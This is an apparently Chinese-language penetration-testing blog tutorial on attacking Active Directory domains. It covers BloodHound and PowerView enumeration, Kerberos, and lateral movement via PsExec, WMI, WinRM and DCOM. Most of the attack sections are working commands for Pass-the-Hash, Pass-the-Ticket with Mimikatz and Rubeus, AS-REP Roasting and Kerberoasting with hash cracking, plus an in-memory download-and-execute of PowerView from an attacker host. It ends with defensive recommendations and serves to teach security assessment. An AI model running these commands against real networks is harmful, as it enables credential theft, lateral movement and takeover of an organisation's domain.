域渗透基础 — AD 域环境攻击与横向移动

域渗透基础 — AD 域环境攻击与横向移动

渗透测试
Windows域渗透Active Directory

Active DirectoryBloodHoundKerberos

Active Directory(AD)是企业网络的核心基础设施,管理着组织中的用户、计算机、权限和策略。对于渗透测试人员而言,攻破域环境意味着能够控制整个企业网络。本文将从 AD 基础概念入手,系统讲解域环境信息收集、Kerberos 认证攻击、横向移动技术以及常见的域攻击手法,包括 Pass-the-Hash、Kerberoasting 等核心技术。

Active Directory 核心概念

域(Domain)与域控制器(Domain Controller)

域是 Active Directory 的基本管理单元,域控制器(DC)是运行 AD DS 服务的 Windows Server,负责存储目录数据库(NTDS.dit)并处理所有认证请求。

PowerShell
# 查看域信息[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # 获取域控制器列表nltest /dclist:lab.local # 查看域信任关系nltest /domain_trusts # 基本域信息net group "Domain Admins" /domainnet group "Domain Controllers" /domain

组织单位(OU)与组策略(GPO)

OU 是 AD 中用于组织和管理对象的容器,GPO 则通过链接到 OU 来下发安全策略和配置。

PowerShell
# 查看 OU 结构Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName # 查看所有 GPOGet-GPO -All | Select-Object DisplayName, Id, CreationTime # 查看 GPO 的详细设置Get-GPOReport -Name "Default Domain Policy" -ReportType Html -Path "C:\Temp\gpo_report.html"

关键 AD 对象

对象类型说明渗透测试关注点
用户账户域用户弱密码、SPN 设置、特权组成员
计算机账户域内机器不受约束的委派
服务账户运行服务的账户Kerberoasting 目标
安全组/分发组Domain Admins、Enterprise Admins
GPO组策略对象密码策略、脚本执行

域环境信息收集

BloodHound

BloodHound 是域渗透中最强大的信息收集和攻击路径分析工具,通过图数据库可视化展示域内的权限关系。

Bash
# 安装 BloodHound# 方法一:apt 安装sudo apt install bloodhound neo4j # 方法二:Docker 安装(推荐 BloodHound CE 社区版)curl -L https://ghst.ly/getbhce | docker compose -f - up # 启动 Neo4j 数据库sudo neo4j console# 默认访问 http://localhost:7474 修改密码 # 启动 BloodHound GUIbloodhound

数据收集 — SharpHound

PowerShell
# 在域内机器上运行 SharpHound 收集器# 收集所有信息.\SharpHound.exe -c All # 指定域和收集方法.\SharpHound.exe -c All -d lab.local --zipfilename bloodhound_data.zip # 使用 PowerShell 版本Import-Module .\SharpHound.ps1Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\ # 使用 bloodhound-python 远程收集(从 Linux 攻击机)bloodhound-python -d lab.local -u testuser -p 'Welcome1!' -ns 10.10.10.100 -c All

BloodHound 攻击路径分析

在 BloodHound 中导入数据后,可以使用内置查询发现攻击路径:

  • Find Shortest Paths to Domain Admins — 查找到域管理员的最短攻击路径
  • Find Principals with DCSync Rights — 查找具有 DCSync 权限的主体
  • Find Computers where Domain Users are Local Admin — 查找域用户为本地管理员的计算机
  • Find Kerberoastable Users with Most Privileges — 查找高权限的可 Kerberoast 用户
  • Shortest Paths from Owned Principals — 从已控制的账户出发查找攻击路径

PowerView

PowerView 是 PowerSploit 框架中的 AD 枚举模块,提供了大量域信息收集命令。

PowerShell
# 导入 PowerViewImport-Module .\PowerView.ps1# 或使用内存加载IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5/PowerView.ps1') # 域基本信息Get-DomainGet-DomainControllerGet-DomainPolicy # 用户枚举Get-DomainUser | Select-Object samaccountname, description, memberofGet-DomainUser -SPN  # 查找设置了 SPN 的用户(Kerberoasting 目标)Get-DomainUser -AdminCount  # 查找管理员账户 # 组枚举Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty memberGet-DomainGroupMember -Identity "Domain Admins" -Recurse # 计算机枚举Get-DomainComputer | Select-Object name, operatingsystem, dnshostnameGet-DomainComputer -Unconstrained  # 查找不受约束的委派 # 共享枚举Find-DomainShare -CheckShareAccess # 查找当前用户有本地管理员权限的机器Find-LocalAdminAccess # GPO 枚举Get-DomainGPO | Select-Object displayname, gpcfilesyspath

Kerberos 认证流程

理解 Kerberos 认证是掌握域攻击技术的基础。Kerberos 认证分为三个阶段:

  1. AS-REQ / AS-REP — 用户向 KDC 请求 TGT(票据授权票据)
  2. TGS-REQ / TGS-REP — 用户使用 TGT 向 KDC 请求服务票据(ST)
  3. AP-REQ / AP-REP — 用户使用 ST 向目标服务进行认证
Text
用户  ──AS-REQ(用户Hash加密时间戳)──>  KDC(域控)用户  <──AS-REP(TGT, 用krbtgt Hash加密)──  KDC用户  ──TGS-REQ(TGT)──>  KDC用户  <──TGS-REP(ST, 用服务Hash加密)──  KDC用户  ──AP-REQ(ST)──>  目标服务

这个认证流程中的每个环节都有对应的攻击手法,后文将详细讲解。

横向移动技术

在域环境中获取凭据后,需要通过横向移动来扩大控制范围,最终达到域控制器。

PsExec

PsExec 通过 SMB 协议在远程机器上创建服务来执行命令。

Bash
# impacket-psexec(推荐,支持 Pass-the-Hash)impacket-psexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101 # 使用 NTLM Hashimpacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101 # Sysinternals PsExecPsExec.exe \\10.10.10.101 -u lab\administrator -p P@ssw0rd! cmd.exe # CrackMapExec 批量执行crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!' --exec-method smbexec -x "whoami"

WMI 远程执行

Bash
# impacket-wmiexecimpacket-wmiexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101 # 使用 Hashimpacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/administrator@10.10.10.101 # PowerShell WMI 远程命令Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Temp\output.txt" -ComputerName SRV01 -Credential (Get-Credential)

WinRM 横向移动

PowerShell
# PowerShell RemotingEnter-PSSession -ComputerName SRV01 -Credential lab\administratorInvoke-Command -ComputerName SRV01 -ScriptBlock { whoami; hostname } -Credential lab\administrator # evil-winrmevil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'

DCOM 远程执行

Bash
# impacket-dcomexecimpacket-dcomexec lab.local/administrator:'P@ssw0rd!'@10.10.10.101 # PowerShell DCOM$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.101"))$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\Temp\dcom_output.txt","Minimized")

横向移动工具对比

方法所需端口需要的权限隐蔽性日志痕迹
PsExec445 (SMB)本地管理员服务创建事件
WMI135 + 动态端口本地管理员WMI 事件
WinRM5985/5986远程管理权限PowerShell 日志
DCOM135 + 动态端口本地管理员较少
RDP3389RDP 用户组登录事件

Pass-the-Hash(PTH)

Pass-the-Hash 允许攻击者使用用户的 NTLM Hash 而非明文密码进行认证,是域渗透中最常用的技术之一。

Bash
# CrackMapExec PTHcrackmapexec smb 10.10.10.0/24 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' --local-auth # impacket 工具集 PTHimpacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101impacket-smbexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@10.10.10.101 # evil-winrm PTHevil-winrm -i 10.10.10.101 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0' # xfreerdp PTH(RDP Pass-the-Hash,需要 Restricted Admin 模式启用)xfreerdp /v:10.10.10.101 /u:administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0

Pass-the-Ticket(PTT)

Pass-the-Ticket 使用窃取的 Kerberos 票据进行认证,不需要密码或 Hash。

PowerShell
# 使用 Mimikatz 导出当前会话的票据mimikatz # sekurlsa::tickets /export # 查看导出的票据dir *.kirbi # 注入票据到当前会话mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-administrator@krbtgt-LAB.LOCAL.kirbi # 使用 Rubeus 进行 PTT.\Rubeus.exe ptt /ticket:ticket.kirbi # 验证票据已注入klist # 现在可以直接访问目标资源dir \\DC01\C$

AS-REP Roasting

当域用户的 "不要求 Kerberos 预认证" 选项被启用时,攻击者可以在不知道密码的情况下获取该用户的 AS-REP 响应,其中包含可离线破解的加密数据。

Bash
# 使用 impacket 获取 AS-REP Hashimpacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.100 -format hashcat -outputfile asrep_hashes.txt # 使用已知凭据枚举并获取impacket-GetNPUsers lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request # 使用 Rubeus(在域内机器上).\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
PowerShell
# PowerView 查找不要求预认证的用户Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
Bash
# 使用 Hashcat 破解 AS-REP Hashhashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # 使用 John the Ripperjohn asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Kerberoasting

Kerberoasting 针对设置了 SPN(Service Principal Name)的域用户账户。攻击者可以请求这些账户的服务票据(TGS),然后离线破解票据中的加密部分以获取明文密码。

Bash
# 使用 impacket-GetUserSPNsimpacket-GetUserSPNs lab.local/testuser:'Welcome1!' -dc-ip 10.10.10.100 -request -outputfile kerberoast_hashes.txt # 使用 Rubeus.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # 针对特定用户.\Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_hash.txt
PowerShell
# PowerView 查找 Kerberoastable 用户Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname # 使用 PowerShell 原生方法请求 TGSAdd-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/srv01.lab.local:1433"
Bash
# Hashcat 破解 Kerberoast Hashhashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # John the Ripperjohn kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

安全建议与防御措施

  1. 强密码策略 — 服务账户使用 25 位以上的强密码,域管理员密码定期轮换
  2. 限制特权账户 — 减少 Domain Admins 组成员,使用分层管理模型
  3. 启用 Kerberos 预认证 — 确保所有账户启用 Kerberos 预认证
  4. 监控 Kerberoasting — 监控异常的 TGS 请求(Event ID 4769)
  5. 使用组管理服务账户(gMSA) — 自动轮换密码,防止 Kerberoasting
  6. 限制横向移动 — 使用 Windows 防火墙和网络分段限制工作站间通信
  7. 部署 LAPS — 使用 Local Administrator Password Solution 管理本地管理员密码
  8. 启用 Protected Users 组 — 防止 NTLM 认证和凭据缓存
  9. 监控 BloodHound 收集行为 — 检测大量 LDAP 查询和 SMB 会话枚举

总结

域渗透是 Windows 渗透测试的高级阶段,也是企业网络安全评估的核心环节。本文涵盖了域渗透的关键技术:

  • 信息收集 — BloodHound 和 PowerView 是域环境分析的核心工具
  • Kerberos 攻击 — AS-REP Roasting 和 Kerberoasting 可以离线破解域用户密码
  • 横向移动 — PsExec、WMI、WinRM、DCOM 提供了多种远程执行手段
  • 凭据利用 — Pass-the-Hash 和 Pass-the-Ticket 无需明文密码即可认证

在实际域渗透中,通常遵循 "信息收集 → 获取初始凭据 → 横向移动 → 提权到域管理员" 的攻击链路。BloodHound 的攻击路径分析能大幅提升这一过程的效率。下一篇文章将深入 Windows 后渗透阶段,讲解 Mimikatz 密码提取和票据攻击技术。

域渗透基础 — AD 域环境攻击与横向移动

https://cot.wiki/blog/domain-exploitation-basics

作者Perimsx
发布时间
更新时间
许可协议CC BY-NC-SA 4.0
评论功能集成中